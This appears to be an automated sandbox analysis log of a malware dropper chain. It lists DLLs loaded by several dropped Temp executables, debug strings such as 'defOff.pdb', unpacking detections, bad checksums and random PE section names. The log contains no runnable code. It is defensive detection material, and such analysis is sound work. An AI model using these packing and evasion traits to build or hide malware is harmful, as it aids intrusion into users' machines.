Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: file.exe Static file information: File size 2959872 > 1048576
Source: file.exe Static PE information: Raw size of ltxhxmdn is bigger than: 0x100000 < 0x2a6e00
Source: Binary string: my_library.pdbU source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp
Source: Binary string: BitLockerToGo.pdb source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: my_library.pdb source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmp, F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000003.1717692280.0000000005310000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 0000000F.00000003.2247205275.00000000054B0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 0000000F.00000002.2380720638.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, 4264524541.exe, 00000010.00000002.2421769147.0000000000682000.00000040.00000001.01000000.00000011.sdmp, 4264524541.exe, 00000010.00000003.2288361449.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000011.00000002.2411769379.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, de057a4668.exe, 00000011.00000003.2368137194.0000000004870000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000013.00000003.2454647364.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000013.00000002.2497872091.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, SWB92CTM4OIX4M9DCKIEYGOPF.exe, 00000016.00000003.2503551142.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, SWB92CTM4OIX4M9DCKIEYGOPF.exe, 00000016.00000002.2630519473.00000000003F2000.00000040.00000001.01000000.00000013.sdmp
Source: Binary string: BitLockerToGo.pdbGCTL source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Unpacked PE file: 3.2.F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.610000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Unpacked PE file: 4.2.M20I1ZOZUN9VGSWFO63POXM.exe.fc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 5.2.skotes.exe.fc0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 6.2.skotes.exe.fc0000.1.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Unpacked PE file: 12.2.8301009305.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 13.2.axplong.exe.180000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 14.2.axplong.exe.180000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Unpacked PE file: 15.2.de057a4668.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Unpacked PE file: 16.2.4264524541.exe.680000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Unpacked PE file: 17.2.de057a4668.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Unpacked PE file: 19.2.de057a4668.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 20.2.axplong.exe.180000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fzmtnikz:EW;dagikpkj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Unpacked PE file: 22.2.SWB92CTM4OIX4M9DCKIEYGOPF.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W;sgyfneub:EW;wyedghxm:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Unpacked PE file: 23.2.BJD5F4VU6P78HSX8.exe.1e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dqejjcio:EW;gfikdque:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Unpacked PE file: 25.2.9de8348ea3.exe.a30000.0.unpack :EW;.rsrc:W;.idata :W;sqhbpttq:EW;eaurdqdn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sqhbpttq:EW;eaurdqdn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Unpacked PE file: 26.2.cc1af330ba.exe.5a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;iuotgoma:EW;ujumrvwn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;iuotgoma:EW;ujumrvwn:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr Static PE information: real checksum: 0x1d44b0 should be: 0x1da590
Source: random[1].exe.6.dr Static PE information: real checksum: 0x2cf548 should be: 0x2d806d
Source: random[2].exe.20.dr Static PE information: real checksum: 0x21457b should be: 0x211c49
Source: 4264524541.exe.6.dr Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: cc1af330ba.exe.20.dr Static PE information: real checksum: 0x21457b should be: 0x211c49
Source: random[1].exe1.6.dr Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: SWB92CTM4OIX4M9DCKIEYGOPF.exe.11.dr Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: a55050ee6f.exe.6.dr Static PE information: real checksum: 0xee21b should be: 0x23e28
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: skotes.exe.4.dr Static PE information: real checksum: 0x1d44b0 should be: 0x1da590
Source: axplong.exe.12.dr Static PE information: real checksum: 0x1d3982 should be: 0x1df3d5
Source: 8301009305.exe.6.dr Static PE information: real checksum: 0x1d3982 should be: 0x1df3d5
Source: file.exe Static PE information: real checksum: 0x2df4f3 should be: 0x2e27eb
Source: 69f64d774a.exe.20.dr Static PE information: real checksum: 0x2cf548 should be: 0x2d806d
Source: de057a4668.exe.6.dr Static PE information: real checksum: 0x2c777f should be: 0x2b90e1
Source: random[3].exe.6.dr Static PE information: real checksum: 0x21457b should be: 0x6af3e
Source: random[1].exe0.6.dr Static PE information: real checksum: 0x1d3982 should be: 0x1df3d5
Source: 9de8348ea3.exe.6.dr Static PE information: real checksum: 0x2cf548 should be: 0x2d806d
Source: 90f56e27b8.exe.6.dr Static PE information: real checksum: 0x21457b should be: 0x6af3e
Source: random[2].exe.6.dr Static PE information: real checksum: 0xee21b should be: 0x23e28
Source: BJD5F4VU6P78HSX8.exe.11.dr Static PE information: real checksum: 0x1d44b0 should be: 0x1da590
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: ltxhxmdn
Source: file.exe Static PE information: section name: yjtwrlhc
Source: file.exe Static PE information: section name: .taggant
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr Static PE information: section name:
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr Static PE information: section name: .idata
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr Static PE information: section name: sgyfneub
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.0.dr Static PE information: section name: wyedghxm
